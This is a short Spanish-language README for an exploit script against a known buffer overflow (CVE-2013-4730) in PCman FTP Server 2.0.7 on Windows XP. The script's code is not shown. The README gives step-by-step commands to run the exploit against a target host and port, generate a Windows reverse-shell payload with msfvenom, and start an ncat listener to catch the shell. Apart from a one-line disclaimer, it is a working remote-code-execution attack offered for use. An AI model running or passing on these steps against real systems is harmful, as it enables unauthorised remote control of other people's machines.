PCman FTP Server Desbordamiento de búfer y ejecución remota de código [CVE-2013-4730]

Un desbordamiento de búfer muy simple que utiliza CVE-2013-4730 contra el servidor FTP de PCman v.2.0.7

¿Cómo funciona?

Ese simple BoF sobrescribe el búfer y ejecuta el shellcode que se conectará de vuelta (reverse shell)

Máquinas vulnerables:

WindowsXP SP3 ejecutando PCman's FTP Server en la versión 2.0.7

Ejecución

~$ python3 PCman.py <host> <port>

¡¡Reemplaza el shellcode con el tuyo propio!!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

Lanza netcat

~$ ncat -lvp <shellcode port>

¡¡Úsalo solo en tu propia máquina!!